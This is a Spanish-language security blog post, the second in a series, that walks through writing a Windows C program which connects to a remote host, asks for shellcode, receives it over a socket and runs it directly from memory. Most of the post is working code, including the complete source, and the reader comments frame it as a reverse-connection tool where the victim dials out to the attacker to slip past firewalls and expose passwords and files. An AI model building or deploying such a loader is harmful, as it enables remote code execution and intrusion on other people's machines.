17 oct 2013

Remote Shellcode Injection (Parte II)

Buenas a todos, en el post vamos a continuar con la cadena  de artículos en la que estamos viendo desde 0 como desarrollar un programa en ANSI C, que nos permita ejecutar remotamente una shellcode cualquiera a través de una arquitectura cliente-servidor.
En el pasado artículo de la cadena aprendimos a desarrollar un pequeño cliente, que se encargaba de enviar a otra máquina una shellcode para que la ejecutase y la cargase en memoria. Hoy veremos como desarrollar el servidor, que acepte esa shellcode y la cargue en memoria.
Como veréis, ambos programas compartirán porciones de código, por lo que serán pocas las líneas que deberemos incluir, facilitándonos así su comprensión.

Programación

En primer lugar incluiremos las librerías necesarias. Al igual que en el cliente, necesitaremos cargar winsocks.h para poder trabajar con sockets.
Tras ello declararemos unas variables predefinidas con el tamaño del buffer y el puerto utilizado para la conexión, así como las variables de tipo cadena que utilizaremos para almacenar los buffers para el envío y recibimiento de datos:
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winsock.h>
#include <string.h>
#include <conio.h>
#include <time.h>
#define MAXBUFLEN 512
#define PORT 4950
char SendBuff[MAXBUFLEN],RecvBuff[MAXBUFLEN];
A continuación añadiremos una función que recibirá como argumento la shellcode, y la cargará en memoria:
void x(char * RecvBuff){((void(*)(void)){RecvBuff})();}
Tras la función maestra de este programa, crearemos las estructuras para trabajar con los sockets e inicializaremos la DLL de sockets:
WSADATA wsaData;
 SOCKET conn_socket;
 struct sockaddr_in server;
 struct hostent *hp;
 int resp;
 resp=WSAStartup(MAKEWORD(1,0),&wsaData);
 if(resp){return -1;}
El paso siguiente será obtener la dirección IP. En nuestra caso os recordamos que lo hemos situado en “localhost” para hacer pruebas en local:
hp=(struct hostent *)gethostbyname("localhost");
 if(!hp){WSACleanup();return WSAGetLastError();}
Ahora procederemos a crear el socket:
conn_socket=socket(AF_INET,SOCK_STREAM, 0);
 if(conn_socket==INVALID_SOCKET) {WSACleanup();return WSAGetLastError();}
 memset(&server, 0, sizeof(server)) ;
 memcpy(&server.sin_addr, hp->h_addr, hp->h_length);
 server.sin_family = hp->h_addrtype;
 server.sin_port = htons(PORT);
Después realizaremos la conexión con el servidor y copiaremos en la variable SendBuff el texto a enviar:
// Conexion servidor
 if(connect(conn_socket,(struct sockaddr *)&server,sizeof(server))==SOCKET_ERROR)
 {
 closesocket(conn_socket);
 WSACleanup();
 getchar();
 return WSAGetLastError();
 }
 strcpy(SendBuff,"1- Enviame la Shellcode");
Ahora abriremos la comunicación con el cliente solicitándole la shellcode. Para ello enviaremos un mensaje cualquiera. A continuación recogeremos la shellcode que nos envíe el cliente y cerramos el socket:
send(conn_socket,SendBuff,sizeof(SendBuff),0);
 recv(conn_socket,RecvBuff, sizeof(RecvBuff), 0);
 closesocket(conn_socket);
 WSACleanup();
Ya tenemos la shellcode en la variable RecvBuff, ahora solo nos queda pasársela a la función "x" para cargarla en memoria:
//Ejecucion Shellcode
x(RecvBuff);

Código completo del servidor

A continuación os dejamos el código completo del servidor:
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winsock.h>
#include <string.h>
#include <conio.h>
#include <time.h>
#define MAXBUFLEN 512
#define PORT 4950
char SendBuff[MAXBUFLEN],RecvBuff[MAXBUFLEN];
void x(char * RecvBuff){((void(*)(void)){RecvBuff})();}
int main(int argc, char *argv[]){
 WSADATA wsaData;
 SOCKET conn_socket;
 struct sockaddr_in server;
 struct hostent *hp;
 int resp;
 //Inicializar dll de sockets
 resp=WSAStartup(MAKEWORD(1,0),&wsaData);
 if(resp){return -1;}
 //Obtenemos IP del servidor
 hp=(struct hostent *)gethostbyname("localhost");
 if(!hp){WSACleanup();return WSAGetLastError();}
 // Creamos socket
 conn_socket=socket(AF_INET,SOCK_STREAM, 0);
 if(conn_socket==INVALID_SOCKET) {WSACleanup();return WSAGetLastError();}
 memset(&server, 0, sizeof(server)) ;
 memcpy(&server.sin_addr, hp->h_addr, hp->h_length);
 server.sin_family = hp->h_addrtype;
 server.sin_port = htons(PORT);
 // Conexion servidor
 if(connect(conn_socket,(struct sockaddr *)&server,sizeof(server))==SOCKET_ERROR)
 {
 closesocket(conn_socket);
 WSACleanup();
 getchar();
 return WSAGetLastError();
 }
 strcpy(SendBuff,"1- Enviame la Shellcode");
 //Se envia mensaje para solicitar shellcode
 send(conn_socket,SendBuff,sizeof(SendBuff),0);
 //Se recoge la Shellcode
 recv(conn_socket,RecvBuff, sizeof(RecvBuff), 0);
 //Cierre del socket
 closesocket(conn_socket);
 WSACleanup();
 //Ejecucion de la Shellcode
 x(RecvBuff);
 return EXIT_SUCCESS;
}
Eso es todo por hoy, ya tenéis las dos partes del programa para poder practicar.
En el próximo post haremos varias pruebas con nuestro programa, y ejecutaremos algunas shellcodes curiosas remotamente :)
Saludos!

8 comentarios:

  1. Esto... Podríais poner el enlace a la primera parte de este artículo? No la encuentro :S

    ResponderEliminar
  2. Gracias por el comentario. Hemos añadido los links a cada una de las partes al inicio de los artículos.Saludos!

    ResponderEliminar
  3. Uuooh, muchas gracias :)

    ResponderEliminar
  4. en teoria al ser inversa el cliente no el que tendria que conectarse al servidor y enviarle la shellcode en vez de esperar que el servidor se le conecte para enviarle la shellcode para saltarse firewalls y routers??saludos

    ResponderEliminar
  5. Directo -> El atacante (cliente) se conecta a la víctima (servidor)Reverso -> La víctima (servidor) se conecta al atacante (cliente)Te enumero los pasos que seguirá el sistema:1.- El servidor/victima le solicita al cliente/atacante la shellcode. Al conectarse la victima a nosotros ya evitamos los FW2.- El cliente/atacante envia la shellcode al servidor/victima3.-El servidor/victima recibe la shellcode y la ejecutaSaludos

    ResponderEliminar
  6. a vale gracias, otra cosa lo que me confunde es la estructura podria ser tambien en una reversa asi no?:Reverso -> La víctima (cliente) se conecta al atacante (servidor)saludos

    ResponderEliminar
  7. Olvida por un momento víctimas y atacantes, y vamos a teoría de redes y a la arquitectura de tipo cliente-servidor:Típicamente el cliente se conecta al servidor para descargar algo ¿verdad?, por ejemplo una página web, un archivo, etc. Sirva como ejemplo el servidor web de flu project prestando el servicio web a nosostros como usuarios/clientes que visualizamos su blog.Eso es una conexión directa.Pero si queremos lo contrario, que sea el servidor quien se conecte al cliente, se denomina conexión inversa o reversa.Y en nuestro caso el servidor será la víctima, porque es quien nos sirve la información que queremos recuperar y quien queremos que ejecute N operaciones. Puedes verlo como que la victima sirve como servidor una página web que nosotros como clientes queremos ver. Y esa página web pueden ser sus contraseñas, sus ficheros, etc.Es una duda típica que viene incluso recogida en la wikipedia, te la copio a continuación:"A pesar de que los troyanos de conexión directa han caído en desuso casi totalmente frente a los de conexión inversa, dentro de los círculos de hackers se sigue utilizando la denominación de cliente para el equipo atacante y servidor para el equipo víctima, lo cual es incorrecto desde un punto de vista estricto." Fuente: http://es.wikipedia.org/wiki/Troyano_%28inform%C3%A1tica%29Pero bueno, lo importante términos a parte es que tengamos claro quién debe ejecutar qué parte :)Saludos

    ResponderEliminar